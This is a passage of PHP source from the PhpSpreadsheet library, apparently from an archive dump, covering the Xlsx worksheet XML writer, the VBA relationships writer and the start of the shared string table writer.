($useMin) { $objWriter->startElement('cfvo'); $objWriter->writeAttribute('type', $minCfvo?->getType() ?? 'min'); self::writeAttributeIf($objWriter, $minCfvo?->getValue() !== null, 'val', (string) $minCfvo?->getValue()); $objWriter->endElement(); } $midCfvo = $colorScale->getMidpointConditionalFormatValueObject(); $midArgb = $colorScale->getMidpointColor()?->getARGB(); $useMid = $midCfvo !== null || $midArgb !== null; if ($useMid) { $objWriter->startElement('cfvo'); $objWriter->writeAttribute('type', $midCfvo?->getType() ?? 'percentile'); $objWriter->writeAttribute('val', (string) (($midCfvo?->getValue()) ?? '50')); $objWriter->endElement(); } $maxCfvo = $colorScale->getMaximumConditionalFormatValueObject(); $maxArgb = $colorScale->getMaximumColor()?->getARGB(); $useMax = $maxCfvo !== null || $maxArgb !== null; if ($useMax) { $objWriter->startElement('cfvo'); $objWriter->writeAttribute('type', $maxCfvo?->getType() ?? 'max'); self::writeAttributeIf($objWriter, $maxCfvo?->getValue() !== null, 'val', (string) $maxCfvo?->getValue()); $objWriter->endElement(); } if ($useMin) { $objWriter->startElement('color'); self::writeAttributeIf($objWriter, $minArgb !== null, 'rgb', "$minArgb"); $objWriter->endElement(); } if ($useMid) { $objWriter->startElement('color'); self::writeAttributeIf($objWriter, $midArgb !== null, 'rgb', "$midArgb"); $objWriter->endElement(); } if ($useMax) { $objWriter->startElement('color'); self::writeAttributeIf($objWriter, $maxArgb !== null, 'rgb', "$maxArgb"); $objWriter->endElement(); } $objWriter->endElement(); // end colorScale } } /** * Write ConditionalFormatting. */ private function writeConditionalFormatting(XMLWriter $objWriter, PhpspreadsheetWorksheet $worksheet): void { // Conditional id $id = 1; // Loop through styles in the current worksheet foreach ($worksheet->getConditionalStylesCollection() as $cellCoordinate => $conditionalStyles) { $objWriter->startElement('conditionalFormatting'); $objWriter->writeAttribute('sqref', $cellCoordinate); foreach ($conditionalStyles as $conditional) { // WHY was this again? // if ($this->getParentWriter()->getStylesConditionalHashTable()->getIndexForHashCode($conditional->getHashCode()) == '') { // continue; // } // cfRule $objWriter->startElement('cfRule'); $objWriter->writeAttribute('type', $conditional->getConditionType()); self::writeAttributeIf( $objWriter, ($conditional->getConditionType() !== Conditional::CONDITION_COLORSCALE && $conditional->getConditionType() !== Conditional::CONDITION_DATABAR && $conditional->getNoFormatSet() === false), 'dxfId', (string) $this->getParentWriter()->getStylesConditionalHashTable()->getIndexForHashCode($conditional->getHashCode()) ); $objWriter->writeAttribute('priority', (string) $id++); self::writeAttributeif( $objWriter, ( $conditional->getConditionType() === Conditional::CONDITION_CELLIS || $conditional->getConditionType() === Conditional::CONDITION_CONTAINSTEXT || $conditional->getConditionType() === Conditional::CONDITION_NOTCONTAINSTEXT || $conditional->getConditionType() === Conditional::CONDITION_BEGINSWITH || $conditional->getConditionType() === Conditional::CONDITION_ENDSWITH ) && $conditional->getOperatorType() !== Conditional::OPERATOR_NONE, 'operator', $conditional->getOperatorType() ); self::writeAttributeIf($objWriter, $conditional->getStopIfTrue(), 'stopIfTrue', '1'); $cellRange = Coordinate::splitRange(str_replace('$', '', strtoupper($cellCoordinate))); [$topLeftCell] = $cellRange[0]; if ( $conditional->getConditionType() === Conditional::CONDITION_CONTAINSTEXT || $conditional->getConditionType() === Conditional::CONDITION_NOTCONTAINSTEXT || $conditional->getConditionType() === Conditional::CONDITION_BEGINSWITH || $conditional->getConditionType() === Conditional::CONDITION_ENDSWITH ) { self::writeTextCondElements($objWriter, $conditional, $topLeftCell); } elseif ($conditional->getConditionType() === Conditional::CONDITION_TIMEPERIOD) { self::writeTimePeriodCondElements($objWriter, $conditional, $topLeftCell); } elseif ($conditional->getConditionType() === Conditional::CONDITION_COLORSCALE) { self::writeColorScaleElements($objWriter, $conditional->getColorScale()); } else { self::writeOtherCondElements($objWriter, $conditional, $topLeftCell); } //<dataBar> self::writeDataBarElements($objWriter, $conditional->getDataBar()); $objWriter->endElement(); //end cfRule } $objWriter->endElement(); //end conditionalFormatting } } /** * Write DataValidations. */ private function writeDataValidations(XMLWriter $objWriter, PhpspreadsheetWorksheet $worksheet): void { // Datavalidation collection $dataValidationCollection = $worksheet->getDataValidationCollection(); // Write data validations? if (!empty($dataValidationCollection)) { $dataValidationCollection = Coordinate::mergeRangesInCollection($dataValidationCollection); $objWriter->startElement('dataValidations'); $objWriter->writeAttribute('count', (string) count($dataValidationCollection)); foreach ($dataValidationCollection as $coordinate => $dv) { $objWriter->startElement('dataValidation'); if ($dv->getType() != '') { $objWriter->writeAttribute('type', $dv->getType()); } if ($dv->getErrorStyle() != '') { $objWriter->writeAttribute('errorStyle', $dv->getErrorStyle()); } if ($dv->getOperator() != '') { $objWriter->writeAttribute('operator', $dv->getOperator()); } $objWriter->writeAttribute('allowBlank', ($dv->getAllowBlank() ? '1' : '0')); $objWriter->writeAttribute('showDropDown', (!$dv->getShowDropDown() ? '1' : '0')); $objWriter->writeAttribute('showInputMessage', ($dv->getShowInputMessage() ? '1' : '0')); $objWriter->writeAttribute('showErrorMessage', ($dv->getShowErrorMessage() ? '1' : '0')); if ($dv->getErrorTitle() !== '') { $objWriter->writeAttribute('errorTitle', $dv->getErrorTitle()); } if ($dv->getError() !== '') { $objWriter->writeAttribute('error', $dv->getError()); } if ($dv->getPromptTitle() !== '') { $objWriter->writeAttribute('promptTitle', $dv->getPromptTitle()); } if ($dv->getPrompt() !== '') { $objWriter->writeAttribute('prompt', $dv->getPrompt()); } $objWriter->writeAttribute('sqref', $dv->getSqref() ?? $coordinate); if ($dv->getFormula1() !== '') { $objWriter->writeElement('formula1', $dv->getFormula1()); } if ($dv->getFormula2() !== '') { $objWriter->writeElement('formula2', $dv->getFormula2()); } $objWriter->endElement(); } $objWriter->endElement(); } } /** * Write Hyperlinks. */ private function writeHyperlinks(XMLWriter $objWriter, PhpspreadsheetWorksheet $worksheet): void { // Hyperlink collection $hyperlinkCollection = $worksheet->getHyperlinkCollection(); // Relation ID $relationId = 1; // Write hyperlinks? if (!empty($hyperlinkCollection)) { $objWriter->startElement('hyperlinks'); foreach ($hyperlinkCollection as $coordinate => $hyperlink) { $objWriter->startElement('hyperlink'); $objWriter->writeAttribute('ref', $coordinate); if (!$hyperlink->isInternal()) { $objWriter->writeAttribute('r:id', 'rId_hyperlink_' . $relationId); ++$relationId; } else { $objWriter->writeAttribute('location', str_replace('sheet://', '', $hyperlink->getUrl())); } if ($hyperlink->getTooltip() !== '') { $objWriter->writeAttribute('tooltip', $hyperlink->getTooltip()); $objWriter->writeAttribute('display', $hyperlink->getTooltip()); } $objWriter->endElement(); } $objWriter->endElement(); } } /** * Write ProtectedRanges. */ private function writeProtectedRanges(XMLWriter $objWriter, PhpspreadsheetWorksheet $worksheet): void { if (count($worksheet->getProtectedCellRanges()) > 0) { // protectedRanges $objWriter->startElement('protectedRanges'); // Loop protectedRanges foreach ($worksheet->getProtectedCellRanges() as $protectedCell => $protectedRange) { // protectedRange $objWriter->startElement('protectedRange'); $objWriter->writeAttribute('name', $protectedRange->getName()); $objWriter->writeAttribute('sqref', $protectedCell); $passwordHash = $protectedRange->getPassword(); $this->writeAttributeIf($objWriter, $passwordHash !== '', 'password', $passwordHash); $securityDescriptor = $protectedRange->getSecurityDescriptor(); $this->writeAttributeIf($objWriter, $securityDescriptor !== '', 'securityDescriptor', $securityDescriptor); $objWriter->endElement(); } $objWriter->endElement(); } } /** * Write MergeCells. */ private function writeMergeCells(XMLWriter $objWriter, PhpspreadsheetWorksheet $worksheet): void { if (count($worksheet->getMergeCells()) > 0) { // mergeCells $objWriter->startElement('mergeCells'); // Loop mergeCells foreach ($worksheet->getMergeCells() as $mergeCell) { // mergeCell $objWriter->startElement('mergeCell'); $objWriter->writeAttribute('ref', $mergeCell); $objWriter->endElement(); } $objWriter->endElement(); } } /** * Write PrintOptions. */ private function writePrintOptions(XMLWriter $objWriter, PhpspreadsheetWorksheet $worksheet): void { // printOptions $objWriter->startElement('printOptions'); $objWriter->writeAttribute('gridLines', ($worksheet->getPrintGridlines() ? 'true' : 'false')); $objWriter->writeAttribute('gridLinesSet', 'true'); if ($worksheet->getPageSetup()->getHorizontalCentered()) { $objWriter->writeAttribute('horizontalCentered', 'true'); } if ($worksheet->getPageSetup()->getVerticalCentered()) { $objWriter->writeAttribute('verticalCentered', 'true'); } $objWriter->endElement(); } /** * Write PageMargins. */ private function writePageMargins(XMLWriter $objWriter, PhpspreadsheetWorksheet $worksheet): void { // pageMargins $objWriter->startElement('pageMargins'); $objWriter->writeAttribute('left', StringHelper::formatNumber($worksheet->getPageMargins()->getLeft())); $objWriter->writeAttribute('right', StringHelper::formatNumber($worksheet->getPageMargins()->getRight())); $objWriter->writeAttribute('top', StringHelper::formatNumber($worksheet->getPageMargins()->getTop())); $objWriter->writeAttribute('bottom', StringHelper::formatNumber($worksheet->getPageMargins()->getBottom())); $objWriter->writeAttribute('header', StringHelper::formatNumber($worksheet->getPageMargins()->getHeader())); $objWriter->writeAttribute('footer', StringHelper::formatNumber($worksheet->getPageMargins()->getFooter())); $objWriter->endElement(); } /** * Write AutoFilter. */ private function writeAutoFilter(XMLWriter $objWriter, PhpspreadsheetWorksheet $worksheet): void { AutoFilter::writeAutoFilter($objWriter, $worksheet); } /** * Write Table. */ private function writeTable(XMLWriter $objWriter, PhpspreadsheetWorksheet $worksheet): void { $tableCount = $worksheet->getTableCollection()->count(); if ($tableCount === 0) { return; } $objWriter->startElement('tableParts'); $objWriter->writeAttribute('count', (string) $tableCount); for ($t = 1; $t <= $tableCount; ++$t) { $objWriter->startElement('tablePart'); $objWriter->writeAttribute('r:id', 'rId_table_' . $t); $objWriter->endElement(); } $objWriter->endElement(); } /** * Write Background Image. */ private function writeBackgroundImage(XMLWriter $objWriter, PhpspreadsheetWorksheet $worksheet): void { if ($worksheet->getBackgroundImage() !== '') { $objWriter->startElement('picture'); $objWriter->writeAttribute('r:id', 'rIdBg'); $objWriter->endElement(); } } /** * Write PageSetup. */ private function writePageSetup(XMLWriter $objWriter, PhpspreadsheetWorksheet $worksheet): void { // pageSetup $objWriter->startElement('pageSetup'); $objWriter->writeAttribute('paperSize', (string) $worksheet->getPageSetup()->getPaperSize()); $objWriter->writeAttribute('orientation', $worksheet->getPageSetup()->getOrientation()); if ($worksheet->getPageSetup()->getScale() !== null) { $objWriter->writeAttribute('scale', (string) $worksheet->getPageSetup()->getScale()); } if ($worksheet->getPageSetup()->getFitToHeight() !== null) { $objWriter->writeAttribute('fitToHeight', (string) $worksheet->getPageSetup()->getFitToHeight()); } else { $objWriter->writeAttribute('fitToHeight', '0'); } if ($worksheet->getPageSetup()->getFitToWidth() !== null) { $objWriter->writeAttribute('fitToWidth', (string) $worksheet->getPageSetup()->getFitToWidth()); } else { $objWriter->writeAttribute('fitToWidth', '0'); } if (!empty($worksheet->getPageSetup()->getFirstPageNumber())) { $objWriter->writeAttribute('firstPageNumber', (string) $worksheet->getPageSetup()->getFirstPageNumber()); $objWriter->writeAttribute('useFirstPageNumber', '1'); } $objWriter->writeAttribute('pageOrder', $worksheet->getPageSetup()->getPageOrder()); $getUnparsedLoadedData = $worksheet->getParentOrThrow()->getUnparsedLoadedData(); if (isset($getUnparsedLoadedData['sheets'][$worksheet->getCodeName()]['pageSetupRelId'])) { $objWriter->writeAttribute('r:id', $getUnparsedLoadedData['sheets'][$worksheet->getCodeName()]['pageSetupRelId']); } $objWriter->endElement(); } /** * Write Header / Footer. */ private function writeHeaderFooter(XMLWriter $objWriter, PhpspreadsheetWorksheet $worksheet): void { // headerFooter $headerFooter = $worksheet->getHeaderFooter(); $oddHeader = $headerFooter->getOddHeader(); $oddFooter = $headerFooter->getOddFooter(); $evenHeader = $headerFooter->getEvenHeader(); $evenFooter = $headerFooter->getEvenFooter(); $firstHeader = $headerFooter->getFirstHeader(); $firstFooter = $headerFooter->getFirstFooter(); if ("$oddHeader$oddFooter$evenHeader$evenFooter$firstHeader$firstFooter" === '') { return; } $objWriter->startElement('headerFooter'); $objWriter->writeAttribute('differentOddEven', ($worksheet->getHeaderFooter()->getDifferentOddEven() ? 'true' : 'false')); $objWriter->writeAttribute('differentFirst', ($worksheet->getHeaderFooter()->getDifferentFirst() ? 'true' : 'false')); $objWriter->writeAttribute('scaleWithDoc', ($worksheet->getHeaderFooter()->getScaleWithDocument() ? 'true' : 'false')); $objWriter->writeAttribute('alignWithMargins', ($worksheet->getHeaderFooter()->getAlignWithMargins() ? 'true' : 'false')); self::writeElementIf($objWriter, $oddHeader !== '', 'oddHeader', $oddHeader); self::writeElementIf($objWriter, $oddFooter !== '', 'oddFooter', $oddFooter); self::writeElementIf($objWriter, $evenHeader !== '', 'evenHeader', $evenHeader); self::writeElementIf($objWriter, $evenFooter !== '', 'evenFooter', $evenFooter); self::writeElementIf($objWriter, $firstHeader !== '', 'firstHeader', $firstHeader); self::writeElementIf($objWriter, $firstFooter !== '', 'firstFooter', $firstFooter); $objWriter->endElement(); // headerFooter } /** * Write Breaks. */ private function writeBreaks(XMLWriter $objWriter, PhpspreadsheetWorksheet $worksheet): void { // Get row and column breaks $aRowBreaks = []; $aColumnBreaks = []; foreach ($worksheet->getRowBreaks() as $cell => $break) { $aRowBreaks[$cell] = $break; } foreach ($worksheet->getColumnBreaks() as $cell => $break) { $aColumnBreaks[$cell] = $break; } // rowBreaks if (!empty($aRowBreaks)) { $objWriter->startElement('rowBreaks'); $objWriter->writeAttribute('count', (string) count($aRowBreaks)); $objWriter->writeAttribute('manualBreakCount', (string) count($aRowBreaks)); foreach ($aRowBreaks as $cell => $break) { $coords = Coordinate::coordinateFromString($cell); $objWriter->startElement('brk'); $objWriter->writeAttribute('id', $coords[1]); $objWriter->writeAttribute('man', '1'); $rowBreakMax = $break->getMaxColOrRow(); if ($rowBreakMax >= 0) { $objWriter->writeAttribute('max', "$rowBreakMax"); } $objWriter->endElement(); } $objWriter->endElement(); } // Second, write column breaks if (!empty($aColumnBreaks)) { $objWriter->startElement('colBreaks'); $objWriter->writeAttribute('count', (string) count($aColumnBreaks)); $objWriter->writeAttribute('manualBreakCount', (string) count($aColumnBreaks)); foreach ($aColumnBreaks as $cell => $break) { $coords = Coordinate::indexesFromString($cell); $objWriter->startElement('brk'); $objWriter->writeAttribute('id', (string) ((int) $coords[0] - 1)); $objWriter->writeAttribute('man', '1'); $objWriter->endElement(); } $objWriter->endElement(); } } /** * Write SheetData. * * @param string[] $stringTable String table */ private function writeSheetData(XMLWriter $objWriter, PhpspreadsheetWorksheet $worksheet, array $stringTable): void { // Flipped stringtable, for faster index searching $aFlippedStringTable = $this->getParentWriter()->getWriterPartstringtable()->flipStringTable($stringTable); // sheetData $objWriter->startElement('sheetData'); // Get column count $colCount = Coordinate::columnIndexFromString($worksheet->getHighestColumn()); // Highest row number $highestRow = $worksheet->getHighestRow(); // Loop through cells building a comma-separated list of the columns in each row // This is a trade-off between the memory usage that is required for a full array of columns, // and execution speed /** @var array<int, string> $cellsByRow */ $cellsByRow = []; foreach ($worksheet->getCoordinates() as $coordinate) { [$column, $row] = Coordinate::coordinateFromString($coordinate); $cellsByRow[$row] = $cellsByRow[$row] ?? ''; $cellsByRow[$row] .= "{$column},"; } $currentRow = 0; $emptyDimension = new RowDimension(); while ($currentRow++ < $highestRow) { $isRowSet = isset($cellsByRow[$currentRow]); if ($isRowSet || $worksheet->rowDimensionExists($currentRow)) { // Get row dimension $rowDimension = $worksheet->rowDimensionExists($currentRow) ? $worksheet->getRowDimension($currentRow) : $emptyDimension; // Write current row? $writeCurrentRow = $isRowSet || $rowDimension->getRowHeight() >= 0 || $rowDimension->getVisible() === false || $rowDimension->getCollapsed() === true || $rowDimension->getOutlineLevel() > 0 || $rowDimension->getXfIndex() !== null; if ($writeCurrentRow) { // Start a new row $objWriter->startElement('row'); $objWriter->writeAttribute('r', "$currentRow"); $objWriter->writeAttribute('spans', '1:' . $colCount); // Row dimensions if ($rowDimension->getRowHeight() >= 0) { $objWriter->writeAttribute('customHeight', '1'); $objWriter->writeAttribute('ht', StringHelper::formatNumber($rowDimension->getRowHeight())); } // Row visibility if (!$rowDimension->getVisible() === true) { $objWriter->writeAttribute('hidden', 'true'); } // Collapsed if ($rowDimension->getCollapsed() === true) { $objWriter->writeAttribute('collapsed', 'true'); } // Outline level if ($rowDimension->getOutlineLevel() > 0) { $objWriter->writeAttribute('outlineLevel', (string) $rowDimension->getOutlineLevel()); } // Style if ($rowDimension->getXfIndex() !== null) { $objWriter->writeAttribute('s', (string) $rowDimension->getXfIndex()); $objWriter->writeAttribute('customFormat', '1'); } // Write cells if (isset($cellsByRow[$currentRow])) { // We have a comma-separated list of column names (with a trailing entry); split to an array $columnsInRow = explode(',', $cellsByRow[$currentRow]); array_pop($columnsInRow); foreach ($columnsInRow as $column) { // Write cell $coord = "$column$currentRow"; if ($worksheet->getCell($coord)->getIgnoredErrors()->getNumberStoredAsText()) { $this->numberStoredAsText .= " $coord"; } if ($worksheet->getCell($coord)->getIgnoredErrors()->getFormula()) { $this->formula .= " $coord"; } if ($worksheet->getCell($coord)->getIgnoredErrors()->getTwoDigitTextYear()) { $this->twoDigitTextYear .= " $coord"; } if ($worksheet->getCell($coord)->getIgnoredErrors()->getEvalError()) { $this->evalError .= " $coord"; } $this->writeCell($objWriter, $worksheet, $coord, $aFlippedStringTable); } } // End row $objWriter->endElement(); } } } $objWriter->endElement(); } private function writeCellInlineStr(XMLWriter $objWriter, string $mappedType, RichText|string $cellValue): void { $objWriter->writeAttribute('t', $mappedType); if (!$cellValue instanceof RichText) { $objWriter->startElement('is'); $objWriter->writeElement( 't', StringHelper::controlCharacterPHP2OOXML(htmlspecialchars($cellValue, Settings::htmlEntityFlags())) ); $objWriter->endElement(); } else { $objWriter->startElement('is'); $this->getParentWriter()->getWriterPartstringtable()->writeRichText($objWriter, $cellValue); $objWriter->endElement(); } } /** * @param string[] $flippedStringTable */ private function writeCellString(XMLWriter $objWriter, string $mappedType, RichText|string $cellValue, array $flippedStringTable): void { $objWriter->writeAttribute('t', $mappedType); if (!$cellValue instanceof RichText) { self::writeElementIf($objWriter, isset($flippedStringTable[$cellValue]), 'v', $flippedStringTable[$cellValue] ?? ''); } else { $objWriter->writeElement('v', $flippedStringTable[$cellValue->getHashCode()]); } } private function writeCellNumeric(XMLWriter $objWriter, float|int $cellValue): void { //force a decimal to be written if the type is float if (is_float($cellValue)) { // force point as decimal separator in case current locale uses comma $cellValue = str_replace(',', '.', (string) $cellValue); if (!str_contains($cellValue, '.')) { $cellValue = $cellValue . '.0'; } } $objWriter->writeElement('v', "$cellValue"); } private function writeCellBoolean(XMLWriter $objWriter, string $mappedType, bool $cellValue): void { $objWriter->writeAttribute('t', $mappedType); $objWriter->writeElement('v', $cellValue ? '1' : '0'); } private function writeCellError(XMLWriter $objWriter, string $mappedType, string $cellValue, string $formulaerr = '#NULL!'): void { $objWriter->writeAttribute('t', $mappedType); $cellIsFormula = str_starts_with($cellValue, '='); self::writeElementIf($objWriter, $cellIsFormula, 'f', FunctionPrefix::addFunctionPrefixStripEquals($cellValue)); $objWriter->writeElement('v', $cellIsFormula ? $formulaerr : $cellValue); } private function writeCellFormula(XMLWriter $objWriter, string $cellValue, Cell $cell): void { $calculatedValue = $this->getParentWriter()->getPreCalculateFormulas() ? $cell->getCalculatedValue() : $cellValue; if (is_string($calculatedValue)) { if (ErrorValue::isError($calculatedValue)) { $this->writeCellError($objWriter, 'e', $cellValue, $calculatedValue); return; } $objWriter->writeAttribute('t', 'str'); $calculatedValue = StringHelper::controlCharacterPHP2OOXML($calculatedValue); } elseif (is_bool($calculatedValue)) { $objWriter->writeAttribute('t', 'b'); $calculatedValue = (int) $calculatedValue; } $attributes = $cell->getFormulaAttributes(); if (($attributes['t'] ?? null) === 'array') { $objWriter->startElement('f'); $objWriter->writeAttribute('t', 'array'); $objWriter->writeAttribute('ref', $cell->getCoordinate()); $objWriter->writeAttribute('aca', '1'); $objWriter->writeAttribute('ca', '1'); $objWriter->text(FunctionPrefix::addFunctionPrefixStripEquals($cellValue)); $objWriter->endElement(); } else { $objWriter->writeElement('f', FunctionPrefix::addFunctionPrefixStripEquals($cellValue)); self::writeElementIf( $objWriter, $this->getParentWriter()->getOffice2003Compatibility() === false && $this->getParentWriter()->getPreCalculateFormulas() && $calculatedValue !== null, 'v', (!is_array($calculatedValue) && !str_starts_with($calculatedValue ?? '', '#')) ? StringHelper::formatNumber($calculatedValue) : '0' ); } } /** * Write Cell. * * @param string $cellAddress Cell Address * @param string[] $flippedStringTable String table (flipped), for faster index searching */ private function writeCell(XMLWriter $objWriter, PhpspreadsheetWorksheet $worksheet, string $cellAddress, array $flippedStringTable): void { // Cell $pCell = $worksheet->getCell($cellAddress); $xfi = $pCell->getXfIndex(); $cellValue = $pCell->getValue(); $writeValue = $cellValue !== '' && $cellValue !== null; if (empty($xfi) && !$writeValue) { return; } $objWriter->startElement('c'); $objWriter->writeAttribute('r', $cellAddress); // Sheet styles if ($xfi) { $objWriter->writeAttribute('s', "$xfi"); } elseif ($this->explicitStyle0) { $objWriter->writeAttribute('s', '0'); } // If cell value is supplied, write cell value if ($writeValue) { // Map type $mappedType = $pCell->getDataType(); // Write data depending on its type switch (strtolower($mappedType)) { case 'inlinestr': // Inline string $this->writeCellInlineStr($objWriter, $mappedType, $cellValue); break; case 's': // String $this->writeCellString($objWriter, $mappedType, $cellValue, $flippedStringTable); break; case 'f': // Formula $this->writeCellFormula($objWriter, $cellValue, $pCell); break; case 'n': // Numeric $this->writeCellNumeric($objWriter, $cellValue); break; case 'b': // Boolean $this->writeCellBoolean($objWriter, $mappedType, $cellValue); break; case 'e': // Error $this->writeCellError($objWriter, $mappedType, $cellValue); } } $objWriter->endElement(); } /** * Write Drawings. * * @param bool $includeCharts Flag indicating if we should include drawing details for charts */ private function writeDrawings(XMLWriter $objWriter, PhpspreadsheetWorksheet $worksheet, bool $includeCharts = false): void { $unparsedLoadedData = $worksheet->getParentOrThrow()->getUnparsedLoadedData(); $hasUnparsedDrawing = isset($unparsedLoadedData['sheets'][$worksheet->getCodeName()]['drawingOriginalIds']); $chartCount = ($includeCharts) ? $worksheet->getChartCollection()->count() : 0; if ($chartCount == 0 && $worksheet->getDrawingCollection()->count() == 0 && !$hasUnparsedDrawing) { return; } // If sheet contains drawings, add the relationships $objWriter->startElement('drawing'); $rId = 'rId1'; if (isset($unparsedLoadedData['sheets'][$worksheet->getCodeName()]['drawingOriginalIds'])) { $drawingOriginalIds = $unparsedLoadedData['sheets'][$worksheet->getCodeName()]['drawingOriginalIds']; // take first. In future can be overriten // (! synchronize with \PhpOffice\PhpSpreadsheet\Writer\Xlsx\Rels::writeWorksheetRelationships) $rId = reset($drawingOriginalIds); } $objWriter->writeAttribute('r:id', $rId); $objWriter->endElement(); } /** * Write LegacyDrawing. */ private function writeLegacyDrawing(XMLWriter $objWriter, PhpspreadsheetWorksheet $worksheet): void { // If sheet contains comments, add the relationships $unparsedLoadedData = $worksheet->getParentOrThrow()->getUnparsedLoadedData(); if (count($worksheet->getComments()) > 0 || isset($unparsedLoadedData['sheets'][$worksheet->getCodeName()]['legacyDrawing'])) { $objWriter->startElement('legacyDrawing'); $objWriter->writeAttribute('r:id', 'rId_comments_vml1'); $objWriter->endElement(); } } /** * Write LegacyDrawingHF. */ private function writeLegacyDrawingHF(XMLWriter $objWriter, PhpspreadsheetWorksheet $worksheet): void { // If sheet contains images, add the relationships if (count($worksheet->getHeaderFooter()->getImages()) > 0) { $objWriter->startElement('legacyDrawingHF'); $objWriter->writeAttribute('r:id', 'rId_headerfooter_vml1'); $objWriter->endElement(); } } private function writeAlternateContent(XMLWriter $objWriter, PhpspreadsheetWorksheet $worksheet): void { if (empty($worksheet->getParentOrThrow()->getUnparsedLoadedData()['sheets'][$worksheet->getCodeName()]['AlternateContents'])) { return; } foreach ($worksheet->getParentOrThrow()->getUnparsedLoadedData()['sheets'][$worksheet->getCodeName()]['AlternateContents'] as $alternateContent) { $objWriter->writeRaw($alternateContent); } } /** * write <ExtLst> * only implementation conditionalFormattings. * * @url https://docs.microsoft.com/en-us/openspecs/office_standards/ms-xlsx/07d607af-5618-4ca2-b683-6a78dc0d9627 */ private function writeExtLst(XMLWriter $objWriter, PhpspreadsheetWorksheet $worksheet): void { $conditionalFormattingRuleExtList = []; foreach ($worksheet->getConditionalStylesCollection() as $cellCoordinate => $conditionalStyles) { /** @var Conditional $conditional */ foreach ($conditionalStyles as $conditional) { $dataBar = $conditional->getDataBar(); if ($dataBar && $dataBar->getConditionalFormattingRuleExt()) { $conditionalFormattingRuleExtList[] = $dataBar->getConditionalFormattingRuleExt(); } } } if (count($conditionalFormattingRuleExtList) > 0) { $conditionalFormattingRuleExtNsPrefix = 'x14'; $objWriter->startElement('extLst'); $objWriter->startElement('ext'); $objWriter->writeAttribute('uri', '{78C0D931-6437-407d-A8EE-F0AAD7539E65}'); $objWriter->startElementNs($conditionalFormattingRuleExtNsPrefix, 'conditionalFormattings', null); foreach ($conditionalFormattingRuleExtList as $extension) { self::writeExtConditionalFormattingElements($objWriter, $extension); } $objWriter->endElement(); //end conditionalFormattings $objWriter->endElement(); //end ext $objWriter->endElement(); //end extLst } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xlsx/RelsVBA.php000064400000002375151676714400021437 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xlsx; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\Namespaces; use PhpOffice\PhpSpreadsheet\Shared\XMLWriter; class RelsVBA extends WriterPart { /** * Write relationships for a signed VBA Project. * * @return string XML Output */ public function writeVBARelationships(): string { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new XMLWriter(XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new XMLWriter(XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // Relationships $objWriter->startElement('Relationships'); $objWriter->writeAttribute('xmlns', Namespaces::RELATIONSHIPS); $objWriter->startElement('Relationship'); $objWriter->writeAttribute('Id', 'rId1'); $objWriter->writeAttribute('Type', Namespaces::VBA_SIGNATURE); $objWriter->writeAttribute('Target', 'vbaProjectSignature.bin'); $objWriter->endElement(); $objWriter->endElement(); return $objWriter->getData(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xlsx/StringTable.php000064400000031571151676714400022417 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xlsx; use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Cell\DataType; use PhpOffice\PhpSpreadsheet\Chart\ChartColor; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\Namespaces; use PhpOffice\PhpSpreadsheet\RichText\RichText; use PhpOffice\PhpSpreadsheet\RichText\Run; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; use PhpOffice\PhpSpreadsheet\Shared\XMLWriter; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet as ActualWorksheet; class StringTable extends WriterPart { /** * Create worksheet stringtable. * * @param string[] $existingTable Existing table to eventually merge with * * @return string[] String table for worksheet */ public function createStringTable(ActualWorksheet $worksheet, ?array $existingTable = null): array { // Create string lookup table $aStringTable = []; // Is an existing table given? if (($existingTable !== null) && is_array($existingTable)) { $aStringTable = $existingTable; } // Fill index array $aFlippedStringTable = $this->flipStringTable($aStringTable); // Loop through cells foreach ($worksheet->getCellCollection()->getCoordinates() as $coordinate) { /** @var Cell $cell */ $cell = $worksheet->getCellCollection()->get($coordinate); $cellValue = $cell->getValue(); if ( !is_object($cellValue) && ($cellValue !== null) && $cellValue !== '' && ($cell->getDataType() == DataType::TYPE_STRING || $cell->getDataType() == DataType::TYPE_STRING2 || $cell->getDataType() == DataType::TYPE_NULL) && !isset($aFlippedStringTable[$cellValue]) ) { $aStringTable[] = $cellValue; $aFlippedStringTable[$cellValue] = true; } elseif ( $cellValue instanceof RichText && ($cellValue !== null) && !isset($aFlippedStringTable[$cellValue->getHashCode()]) ) { $aStringTable[] = $cellValue; $aFlippedStringTable[$cellValue->getHashCode()] = true; } } return $aStringTable; } /** * Write string table to XML format. * * @param (RichText|string)[] $stringTable * * @return string XML Output */ public function writeStringTable(array $stringTable): string { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new XMLWriter(XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new XMLWriter(XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // String table $objWriter->startElement('sst'); $objWriter->writeAttribute('xmlns', Namespaces::MAIN); $objWriter->writeAttribute('uniqueCount', (string) count($stringTable)); // Loop through string table foreach ($stringTable as $textElement) { $objWriter->startElement('si'); if (!($textElement instanceof RichText)) { $textToWrite = StringHelper::controlCharacterPHP2OOXML($textElement); $objWriter->startElement('t'); if ($textToWrite !== trim($textToWrite)) { $objWriter->writeAttribute('xml:space', 'preserve'); } $objWriter->writeRawData($textToWrite); $objWriter->endElement(); } else { $this->writeRichText($objWriter, $textElement); } $objWriter->endElement(); } $objWriter->endElement(); return $objWriter->getData(); } /** * Write Rich Text. * * @param ?string $prefix Optional Namespace prefix */ public function writeRichText(XMLWriter $objWriter, RichText $richText, ?string $prefix = null): void { if ($prefix !== null) { $prefix .= ':'; } // Loop through rich text elements $elements = $richText->getRichTextElements(); foreach ($elements as $element) { // r $objWriter->startElement($prefix . 'r'); // rPr if ($element instanceof Run && $element->getFont() !== null) { // rPr $objWriter->startElement($prefix . 'rPr'); // rFont if ($element->getFont()->getName() !== null) { $objWriter->startElement($prefix . 